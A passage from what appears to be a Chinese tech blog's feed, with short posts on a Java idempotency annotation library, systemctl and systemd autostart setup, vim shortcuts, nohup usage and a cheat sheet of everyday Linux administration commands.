    <category term="javascript" scheme="https://blog.allbs.cn/tags/javascript/"/>
    
    <category term="文件导出" scheme="https://blog.allbs.cn/tags/%E6%96%87%E4%BB%B6%E5%AF%BC%E5%87%BA/"/>
    
  </entry>
  
  <entry>
    <title>allbs工具类说明 - 幂等、防重复提交</title>
    <link href="https://blog.allbs.cn/posts/38571/"/>
    <id>https://blog.allbs.cn/posts/38571/</id>
    <published>2022-07-29T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.050Z</updated>
    
    <content type="html"><![CDATA[<h2 id="依赖jar包">依赖jar包</h2><table><thead><tr><th>引入包</th><th>版本</th></tr></thead><tbody><tr><td>jdk</td><td>1.8</td></tr><tr><td>spring boot</td><td>2.6.2</td></tr><tr><td>spring-boot-starter-aop</td><td>2.6.2</td></tr><tr><td>redisson-spring-boot-starter</td><td>3.13.4</td></tr></tbody></table><h2 id="使用">使用</h2><h3 id="添加依赖">添加依赖</h3><div class="tabs"><div class="nav-tabs"><button type="button" class="tab active">maven</button><button type="button" class="tab">Gradle</button><button type="button" class="tab">Kotlin</button></div><div class="tab-contents"><div class="tab-item-content active"><figure class="highlight xml"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>cn.allbs<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>allbs-idempotent<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">  <span class="tag">&lt;<span class="name">version</span>&gt;</span>1.1.8<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;<span class="name">dependency</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">groupId</span>&gt;</span>org.redisson<span class="tag">&lt;/<span class="name">groupId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">artifactId</span>&gt;</span>redisson-spring-boot-starter<span class="tag">&lt;/<span class="name">artifactId</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">version</span>&gt;</span>3.13.4<span class="tag">&lt;/<span class="name">version</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">dependency</span>&gt;</span></span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation &#x27;cn.allbs:allbs-idempotent:1.1.8&#x27;</span><br></pre></td></tr></table></figure></div><div class="tab-item-content"><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">implementation(&quot;cn.allbs:allbs-idempotent:1.1.8&quot;)</span><br></pre></td></tr></table></figure></div></div><div class="tab-to-top"><button type="button" aria-label="scroll to top"><i class="fas fa-arrow-up"></i></button></div></div><h3 id="方法上添加注解-Idempotent">方法上添加注解@Idempotent</h3><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">@GetMapping(&quot;/test&quot;)</span></span><br><span class="line"><span class="comment">// 十秒内不允许重复查询</span></span><br><span class="line"><span class="meta">@Idempotent(key = &quot;#key&quot;, expireTime = 10, info = &quot;请勿重复查询！&quot;)</span></span><br><span class="line"><span class="keyword">public</span> String <span class="title function_">test</span><span class="params">(String key)</span> &#123;</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&quot;test&quot;</span> + key;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2022/07/d1c815beabfb853f8d75961b42de7fcc.gif" alt=""></p>]]></content>
    
    
    <summary type="html">allbs工具类说明 - 幂等、防重复提交</summary>
    
    
    
    <category term="java" scheme="https://blog.allbs.cn/categories/java/"/>
    
    
    <category term="工具" scheme="https://blog.allbs.cn/tags/%E5%B7%A5%E5%85%B7/"/>
    
    <category term="java" scheme="https://blog.allbs.cn/tags/java/"/>
    
    <category term="幂等" scheme="https://blog.allbs.cn/tags/%E5%B9%82%E7%AD%89/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - httpd</title>
    <link href="https://blog.allbs.cn/posts/41263/"/>
    <id>https://blog.allbs.cn/posts/41263/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="文件位置-etc-httpd-conf">文件位置<code>/etc/httpd/conf</code></h4><h4 id="httpd启动">httpd启动</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl start httpd.service</span><br></pre></td></tr></table></figure><h4 id="httpd停止">httpd停止</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl stop httpd.service</span><br></pre></td></tr></table></figure><h4 id="httpd重启">httpd重启</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl restart httpd.service</span><br></pre></td></tr></table></figure><h4 id="httpd开机启动">httpd开机启动</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl enable httpd.service</span><br></pre></td></tr></table></figure><h4 id="httpd开机不启动">httpd开机不启动</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl disable httpd.service</span><br></pre></td></tr></table></figure><h4 id="查看httpd状态">查看httpd状态</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl status httpd.service</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - httpd</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 开机自启</title>
    <link href="https://blog.allbs.cn/posts/33175/"/>
    <id>https://blog.allbs.cn/posts/33175/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="方式一">方式一</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">vi /etc/rc.d/rc.local</span><br><span class="line">cd /root/frp/frp_0.26.0_linux_amd64 &amp;&amp; ./frps -c ./frps.ini</span><br><span class="line">chmod +x /etc/rc.d/rc.local</span><br><span class="line">nohup /usr/local/frp/frpc -c /usr/local/frp/frpc.ini &gt;/dev/null 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><h4 id="方式二">方式二</h4><h5 id="在-usr-lib-systemd-system创建app名称-service-的文件">在/usr/lib/systemd/system创建app名称.service 的文件</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/12/e66734a5b907d7eaec75159994917fe3.png" alt="image-20211225093450092"></p><h5 id="文件内容-以redis为例">文件内容(以redis为例)</h5><p><img src="https://nas.allbs.cn:8888/cloudpic/2021/12/c6037a88921b6545a864a31d59632a25.png" alt="image-20211225093621587"></p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line"></span><br><span class="line">Description=redis</span><br><span class="line"></span><br><span class="line">After=syslog.target network.target remote-fs.target nss-lookup.target</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line"></span><br><span class="line">Type=forking</span><br><span class="line">User=root</span><br><span class="line">ExecStart=/home/yhdd/software/redis-4.0.8/bin/redis-server /home/yhdd/software/redis-4.0.8/redis.conf</span><br><span class="line"></span><br><span class="line">PrivateTmp=true</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line"></span><br><span class="line">WantedBy=multi-user.target</span><br><span class="line"></span><br></pre></td></tr></table></figure><h5 id="以java为例">以java为例</h5><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line">[Unit]</span><br><span class="line">Description=yhdd-admin</span><br><span class="line">Documentation=www.allbs.cn</span><br><span class="line">After=network.target</span><br><span class="line"></span><br><span class="line">[Service]</span><br><span class="line">Type=simple</span><br><span class="line">User=root</span><br><span class="line">ExecStart=/usr/bin/java -jar /home/yhdd/java/admin/yhdd-admin-0.0.1-SNAPSHOT.jar</span><br><span class="line">Restart=always</span><br><span class="line"></span><br><span class="line">[Install]</span><br><span class="line">WantedBy=multi-user.target</span><br></pre></td></tr></table></figure><h5 id="重新加载服务配置">重新加载服务配置</h5><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl daemon-reload</span><br></pre></td></tr></table></figure><h5 id="加载为系统服务开机自启">加载为系统服务开机自启</h5><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl <span class="built_in">enable</span> app名称.service</span><br></pre></td></tr></table></figure><h5 id="查看服务状态">查看服务状态</h5><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl status app名称.service</span><br></pre></td></tr></table></figure><h5 id="启动服务">启动服务</h5><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl start app名称.service</span><br></pre></td></tr></table></figure><h5 id="停止服务">停止服务</h5><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">systemctl stop app名称.service</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 开机自启</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - vim</title>
    <link href="https://blog.allbs.cn/posts/64334/"/>
    <id>https://blog.allbs.cn/posts/64334/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="normal模式下-g表示全局-x表示查找的内容-y表示替换后的内容">normal模式下 g表示全局, x表示查找的内容, y表示替换后的内容</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:%s/x/y/g</span><br></pre></td></tr></table></figure><h4 id="光标位置移动">光标位置移动</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 光标移到行首(数字0)</span></span><br><span class="line">0 </span><br><span class="line"><span class="comment"># 光标移至行尾</span></span><br><span class="line">$ </span><br><span class="line"><span class="comment"># 跳到文件最后</span></span><br><span class="line"><span class="built_in">shift</span> + g </span><br><span class="line"><span class="comment"># 跳到文件头</span></span><br><span class="line">gg </span><br></pre></td></tr></table></figure><h4 id="显示行号">显示行号</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:<span class="built_in">set</span> nu</span><br></pre></td></tr></table></figure><h4 id="去除行号">去除行号</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">:set nonu</span><br></pre></td></tr></table></figure><h4 id="检索">检索</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 从头检索, 按n查找下一个</span></span><br><span class="line">/xxx(检索内容)</span><br><span class="line"><span class="comment"># 从尾部检索</span></span><br><span class="line">?xxx(检索内容)</span><br></pre></td></tr></table></figure><h4 id="打开只读文件-修改后需要保存时-不用切换用户即可保存的方式">打开只读文件,修改后需要保存时(不用切换用户即可保存的方式)</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 在normal模式下</span></span><br><span class="line">:w !<span class="built_in">sudo</span> <span class="built_in">tee</span> %</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - vim</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 服务相关</title>
    <link href="https://blog.allbs.cn/posts/29772/"/>
    <id>https://blog.allbs.cn/posts/29772/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="程序后台执行">程序后台执行</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup java -jar *** 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><h4 id="输出固定位置的log">输出固定位置的log</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nohup java -jar jd-gather-0.0.1-SNAPSHOT.jar &gt; /mnt/data/jd/jdServer/jd-gather/log/out.log 2&gt;&amp;1 &amp;</span><br></pre></td></tr></table></figure><h4 id="nohup-文件过大的解决办法">nohup 文件过大的解决办法</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_"># </span><span class="language-bash">不输出日志到nohup.out 文件</span></span><br><span class="line">nohup ./program &gt;/dev/null 2&gt;&amp;1 &amp;</span><br><span class="line"><span class="meta prompt_"># </span><span class="language-bash">只输出错误信息到nohup.out 文件</span></span><br><span class="line">nohup ./program &gt;/dev/null 2&gt;log &amp;</span><br></pre></td></tr></table></figure><h4 id="强制关闭进程名包含xxx的所有进程">强制关闭进程名包含xxx的所有进程</h4><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps aux|grep xxx | grep -v grep | awk &#x27;&#123;print $2&#125;&#x27; | xargs kill -9</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">常用的linux操作指令 - 服务相关</summary>
    
    
    
    <category term="linux" scheme="https://blog.allbs.cn/categories/linux/"/>
    
    
    <category term="linux" scheme="https://blog.allbs.cn/tags/linux/"/>
    
    <category term="CenterOS" scheme="https://blog.allbs.cn/tags/CenterOS/"/>
    
  </entry>
  
  <entry>
    <title>常用的linux操作指令 - 常用操作</title>
    <link href="https://blog.allbs.cn/posts/36618/"/>
    <id>https://blog.allbs.cn/posts/36618/</id>
    <published>2022-07-28T01:25:00.000Z</published>
    <updated>2025-11-28T06:48:01.058Z</updated>
    
    <content type="html"><![CDATA[<h4 id="复制">复制</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> xxx.log</span><br></pre></td></tr></table></figure><h4 id="复制并强制覆盖同名文件">复制并强制覆盖同名文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> -f xxx.log</span><br></pre></td></tr></table></figure><h4 id="复制文件夹">复制文件夹</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cp</span> -r xxx(源文件夹) yyy(目标文件夹)</span><br></pre></td></tr></table></figure><h4 id="远程复制">远程复制</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">scp -P ssh端口 username@121.:/home/username/xxx /home/xxx</span><br></pre></td></tr></table></figure><h4 id="级联创建目录">级联创建目录</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p /xxx/yyy/zzz</span><br></pre></td></tr></table></figure><h4 id="批量创建文件夹-会在test-main下都创建java-resources文件夹">批量创建文件夹, 会在test,main下都创建java, resources文件夹</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">mkdir</span> -p src/&#123;<span class="built_in">test</span>,main&#125;/&#123;java,resources&#125;</span><br></pre></td></tr></table></figure><h4 id="比较两个文件">比较两个文件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">diff -u 1.txt 2.txt</span><br></pre></td></tr></table></figure><h4 id="日志输出的字节数-可以用作性能测试">日志输出的字节数,可以用作性能测试</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 如果做性能测试, 可以每执行一次, 往日志里面输出 “.” , 这样日志中的字节数就是实际的性能测试运行的次数, 还可以看见实时速率.</span></span><br><span class="line"><span class="built_in">tail</span> -f xxx.log | pv -bt</span><br></pre></td></tr></table></figure><h4 id="查看-去除特殊字符">查看, 去除特殊字符</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 查看特殊字符</span></span><br><span class="line"><span class="built_in">cat</span> -v xxx.sh</span><br><span class="line"></span><br><span class="line"><span class="comment"># 去除特殊字符</span></span><br><span class="line">sed -i <span class="string">&#x27;s/^M//g’ env.sh  </span></span><br></pre></td></tr></table></figure><p>去除文件的特殊字符, 比如^M:  需要这样输入 <kbd>ctrl</kbd>+<kbd>v</kbd>+<kbd>enter</kbd>.</p><h4 id="关机">关机</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">shutdown -h now</span><br></pre></td></tr></table></figure><h4 id="重启">重启</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">shutdown -r now</span><br><span class="line"></span><br><span class="line">reboot</span><br></pre></td></tr></table></figure><h4 id="查看系统内核信息">查看系统内核信息</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">uname</span> -a</span><br></pre></td></tr></table></figure><h4 id="查看系统内核版本">查看系统内核版本</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/version</span><br></pre></td></tr></table></figure><h4 id="查看当前用户环境变量">查看当前用户环境变量</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">env</span></span><br></pre></td></tr></table></figure><h4 id="查看有几个逻辑cpu-包括cpu型号">查看有几个逻辑cpu, 包括cpu型号</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/cpuinfo | grep name | <span class="built_in">cut</span> -f2 -d: | <span class="built_in">uniq</span> -c</span><br></pre></td></tr></table></figure><h4 id="查看有几颗cpu-每颗分别是几核">查看有几颗cpu,每颗分别是几核</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/cpuinfo | grep physical | <span class="built_in">uniq</span> -c</span><br></pre></td></tr></table></figure><h4 id="查看当前CPU运行在32bit还是64bit模式下-如果是运行在32bit下也不代表CPU不支持64bit">查看当前CPU运行在32bit还是64bit模式下, 如果是运行在32bit下也不代表CPU不支持64bit</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">getconf LONG_BIT</span><br></pre></td></tr></table></figure><h4 id="结果大于0-说明支持64bit计算-lm指long-mode-支持lm则是64bit">结果大于0, 说明支持64bit计算. lm指long mode, 支持lm则是64bit</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /proc/cpuinfo | grep flags | grep <span class="string">&#x27; lm &#x27;</span> | <span class="built_in">wc</span> -l</span><br></pre></td></tr></table></figure><h4 id="建立软连接">建立软连接</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ln</span> -s /usr/local/jdk1.8/ jdk</span><br></pre></td></tr></table></figure><h4 id="查看是否通过rpm安装了该软件">查看是否通过rpm安装了该软件</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">rpm -qa | grep 软件名</span><br></pre></td></tr></table></figure><h4 id="创建sshkey">创建sshkey</h4><p>id_rsa.pub 的内容拷贝到要控制的服务器的 home/username/.ssh/authorized_keys 中,如果没有则新建(.ssh权限为700, authorized_keys权限为600)</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ssh-keygen -t rsa -C your_email@example.com</span><br></pre></td></tr></table></figure><h4 id="在各个用户的-bash-profile中添加重命名配置">在各个用户的.bash_profile中添加重命名配置</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">alias</span> ll=<span class="string">&#x27;ls -alF&#x27;</span></span><br></pre></td></tr></table></figure><h4 id="同步服务器时间">同步服务器时间</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">sudo</span> ntpdate -u ntp.api.bz</span><br></pre></td></tr></table></figure><h4 id="命令来完成强制活动用户退出（其中TTY表示终端名称）">命令来完成强制活动用户退出（其中TTY表示终端名称）</h4><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">pkill -kill -t [TTY]</span><br></pre></td></tr></table></figure><h4 id="查看命令路径">查看命令路径</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">which</span> &lt;命令&gt;</span><br></pre></td></tr></table></figure><h4 id="查看进程所有打开最大fd数">查看进程所有打开最大fd数</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ulimit</span> -n</span><br></pre></td></tr></table></figure><h4 id="配置dns">配置dns</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">vim /etc/resolv.conf</span><br></pre></td></tr></table></figure><h4 id="查看域名路由表">查看域名路由表</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nslookup google.com</span><br></pre></td></tr></table></figure><h4 id="最近登录信息列表">最近登录信息列表</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 最近登录的5个账号</span></span><br><span class="line">last -n 5</span><br></pre></td></tr></table></figure><h4 id="设置固定ip">设置固定ip</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ifconfig em1  192.168.0.10 netmask 255.255.255.0</span><br></pre></td></tr></table></figure><h4 id="查看进程内加载的环境变量">查看进程内加载的环境变量</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 也可以去 cd /proc 目录下, 查看进程内存中加载的东西</span></span><br><span class="line">ps eww -p  进程号</span><br></pre></td></tr></table></figure><h4 id="查看进程树找到服务器进程">查看进程树找到服务器进程</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">ps auwxf</span><br></pre></td></tr></table></figure><h4 id="查看进程启动路径">查看进程启动路径</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cd</span> /proc/xxx(进程号)</span><br><span class="line"><span class="built_in">ls</span> -all</span><br></pre></td></tr></table></figure><h4 id="添加用户-配置sudo权限">添加用户, 配置sudo权限</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 新增用户</span></span><br><span class="line">useradd 用户名</span><br><span class="line">passwd 用户名</span><br><span class="line"></span><br><span class="line"><span class="comment">#增加sudo权限</span></span><br><span class="line">vim /etc/sudoers</span><br><span class="line"><span class="comment"># 修改文件里面的</span></span><br><span class="line"><span class="comment"># root    ALL=(ALL)       ALL</span></span><br><span class="line"><span class="comment"># 用户名 ALL=(ALL)       ALL</span></span><br></pre></td></tr></table></figure><h4 id="监控linux性能命令">监控linux性能命令</h4><p>按大写的 <kbd>F</kbd>或<kbd>O</kbd>，然后按 <kbd>a-z</kbd> 可以将进程按照相应的列进行排序, 然后回车。而大写的 <kbd>R</kbd> 键可以将当前的排序倒转</p><ul><li>PID 进程id</li><li>PPID 父进程id</li><li>RUSER Real user name</li><li>UID 进程所有者的用户id</li><li>USER 进程所有者的用户名</li><li>GROUP 进程所有者的组名</li><li>TTY 启动进程的终端名。不是从终端启动的进程则显示为 ?</li><li>PR 优先级</li><li>NI nice值。负值表示高优先级，正值表示低优先级</li><li>P 最后使用的CPU，仅在多CPU环境下有意义</li><li>%CPU 上次更新到现在的CPU时间占用百分比</li><li>TIME 进程使用的CPU时间总计，单位秒</li><li>TIME+ 进程使用的CPU时间总计，单位1/100秒</li><li>%MEM 进程使用的物理内存百分比</li><li>VIRT 进程使用的虚拟内存总量，单位kb。VIRT=SWAP+RES</li><li>SWAP 进程使用的虚拟内存中，被换出的大小，单位kb。</li><li>RES 进程使用的、未被换出的物理内存大小，单位kb。RES=CODE+DATA</li><li>CODE 可执行代码占用的物理内存大小，单位kb</li><li>DATA 可执行代码以外的部分(数据段+栈)占用的物理内存大小，单位kb</li><li>SHR 共享内存大小，单位kb</li><li>nFLT 页面错误次数</li><li>nDRT 最后一次写入到现在，被修改过的页面数。</li><li>S 进程状态。D=不可中断的睡眠状态,R=运行,S=睡眠,T=跟踪/停止,Z=僵尸进程</li><li>COMMAND 命令名/命令行</li><li>WCHAN 若该进程在睡眠，则显示睡眠中的系统函数名</li><li>Flags 任务标志，参考 sched.h</li></ul><h4 id="查看系统日志">查看系统日志</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">dmesg</span><br></pre></td></tr></table></figure><h4 id="磁盘IO情况监控">磁盘IO情况监控</h4><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">iostat -xz 1</span><br></pre></td></tr></table></figure><ul><li>r/s, w/s, rkB/s, 